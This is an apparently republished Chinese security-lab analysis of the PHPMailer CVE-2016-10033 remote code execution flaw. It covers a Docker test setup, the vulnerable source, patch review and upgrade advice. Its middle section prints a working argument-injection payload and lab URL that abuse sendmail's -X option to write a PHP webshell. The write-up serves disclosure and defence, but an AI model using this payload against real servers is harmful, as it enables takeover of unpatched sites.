Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

PHPMailer < 5.2.18 远程代码执行(CVE-2016-10033)漏洞分析

0
0
Author: p0wd3r, dawu (知道创宇404安全实验室) Date: 2016-12-27 0x00 漏洞概述 1.漏洞简介

Dawid Golunski 在圣诞节当天发布了一个 漏洞报告 ,报告中表明 phpMailer 小于5.2.18的版本存在远程代码执行漏洞。成功利用该漏洞后,攻击者可以远程任意代码执行。许多知名的 CMS 例如 Wordpress 等都是使用这个组件来发送邮件,影响不可忽视。

2.漏洞影响

漏洞触发条件:

PHP 没有开启 safe_mode (默认) 攻击者需要知道 Web 服务部署的路径

成功利用该漏洞后,攻击者可以远程任意代码执行。

3.影响版本

PHPMailer < 5.2.18

0x01 漏洞复现 1.环境搭建

Dockerfile:

FROM php:5.6-apache RUN apt-get update && apt-get install -y sendmail RUN echo 'sendmail_path = "/usr/sbin/sendmail -t -i"' > /usr/local/etc/php/php.ini

提前下载好源码,在源码根目录下添加测试文件 1.php:

<?php require('PHPMailerAutoload.php'); $mail = new PHPMailer; $mail->setFrom($_GET['x'], 'Vuln Server'); $mail->Subject = 'subject'; $mail->addAddress('c@d.com', 'attacker'); $mail->msgHTML('test'); $mail->AltBody = 'Body'; $mail->send(); ?>

shell:

docker build -t CVE-2016-10033 . docker run --rm --name vuln-phpmail -p 127.0.0.1:8080:80 -v /tmp/PHPMailer-5.2.17:/var/www/html CVE-2016-10033 2.漏洞复现

我们首先看补丁:


PHPMailer &lt; 5.2.18 远程代码执行(CVE-2016-10033)漏洞分析

这里使用 escapeshellarg 来处理 $this->Sender ,可见是为了防止注入参数,我们跟随 $param 的走向可知 $param 最终会被用于 mail 函数中,在 class.phpmailer.php 的 mailPassthru 函数中:

private function mailPassthru($to, $subject, $body, $header, $params) { //Can't use additional_parameters in safe_mode //@link http://php.net/manual/en/function.mail.php if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) { $result = @mail($to, $subject, $body, $header); } else { $result = @mail($to, $subject, $body, $header, $params); } return $result; }

这里 $param 作为 mail 的第五个参数,该参数用于指定 sendmail 的额外参数,其中 sendmail 的 -X 参数会将流量记录到文件中从而写文件实现 RCE,至于具体利用详见Roundcube RCE。

现在触发点找到了,接下来我们需要确定输入,可以看到 $this->Sender 在 setFrom 函数中被设置:

public function setFrom($address, $name = '', $auto = true) { $address = trim($address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim // Don't validate now addresses with IDN. Will be done in send(). if (($pos = strrpos($address, '@')) === false or (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and !$this->validateAddress($address)) { ... } ... if ($auto) { if (empty($this->Sender)) { $this->Sender = $address; } } return true; }

setFrom 用于设置发信方,正常情况下都是可控的。下面我们看过滤函数 validateAddress (这个过滤在 preSend 函数中还会进行一次):

public static function validateAddress($address, $patternselect = null) { ... if (!$patternselect or $patternselect == 'auto') { //Check this constant first so it works when extension_loaded() is disabled by safe mode //Constant was added in PHP 5.2.4 if (defined('PCRE_VERSION')) { //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) { $patternselect = 'pcre8'; } else { $patternselect = 'pcre'; } } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) { //Fall back to older PCRE $patternselect = 'pcre'; } else { //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension if (version_compare(PHP_VERSION, '5.2.0') >= 0) { $patternselect = 'php'; } else { $patternselect = 'noregex'; } } } switch ($patternselect) { case 'pcre8': /** * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains. * @link http://squiloople.com/2009/12/20/email-address-validation/ * @copyright 2009-2010 Michael Rushton * Feel free to use and redistribute this code. But please keep this copyright notice. */ return (boolean)preg_match( '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address ); case 'pcre': //An older regex that doesn't need a recent PCRE return (boolean)preg_match( '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address ); case 'html5': /** * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email) */ return (boolean)preg_match( '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address ); case 'noregex': //No PCRE! Do something _very_ approximate! //Check the address is 3 chars or longer and contains an @ that's not the first or last char return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1); case 'php': default: return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL); } }

这里根据 PCRE_VERSION 和 PHP_VERSION 来选择过滤方式,这里有一种情况:

PHP 不支持 PCRE PHP 版本小于 5.2.0

这个时候该函数会使用 noregex 的方式,即只需满足三个条件即可通过过滤:

输入长度大于 3 含有 @ @ 不是最后一个字符

这三个条件很容易满足,所以在这种情况下漏洞是很容易触发的,已经有研究人员开发了相应的 PoC : https://github.com/opsxcq/exploit-CVE-2016-10033

但是满足这个情况的主机现在已经很少了,正常情况下都是使用 pcre8 的正则来进行过滤,所以如果要扩大攻击面需要对正则进行绕过,并且还得让 sendmail 成功执行。

幸运的是,已经有其他研究人员写好了 payload :

https://ghostbin.com/paste/s64ng

&quot;&lt;?system($_GET['pew']);?&gt;&quot;. -OQueueDirectory=/tmp/. -X./images/zwned.php @swehack.org

这里使用 .%20 (点+空格)来作为分隔符,经小伙伴测试发现, .%09 (点+Tab)也是可以绕过的。另外 phithon 大牛也提出了另外一种 绕过思路 ,可见绕过的方式并不是单一的,更多的绕过方式需要通过仔细分析正则并结合 fuzz 来发现。如果大家有新的绕过思路希望可以多多交流 :)。

我们实际测试一下,访问 http://127.0.0.1:8080/1.php?x=%22%3C?system($_GET[%27x%27]);?%3E%22.%20-OQueueDirectory=/tmp/.%20-X/var/www/html/shell.php%20@a.com :

等一段时间之后 shell 成功写入:


PHPMailer &lt; 5.2.18 远程代码执行(CVE-2016-10033)漏洞分析
UPDATE IN 12.28:

漏洞原作者 Dawid Golunski 于昨晚公开了 漏洞细节 ,里面提到了不同于上面所说的绕过方法。phithon 也在今早提出了几个绕过思路以及分析正则表达式的 心得 。(给大佬们递茶。。。

3.补丁分析
PHPMailer &lt; 5.2.18 远程代码执行(CVE-2016-10033)漏洞分析

使用 escapeshellarg 防止传入多个参数

0x02 修复方案

升级 PHPMailer

0x03 参考 https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html https://www.reddit.com/r/netsec/comments/5kbo5v/rce via unescaped shell argument in phpmailer_5218/ https://ghostbin.com/paste/s64ng https://github.com/opsxcq/exploit-CVE-2016-10033 https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html

Viewing all articles
Browse latest Browse all 12749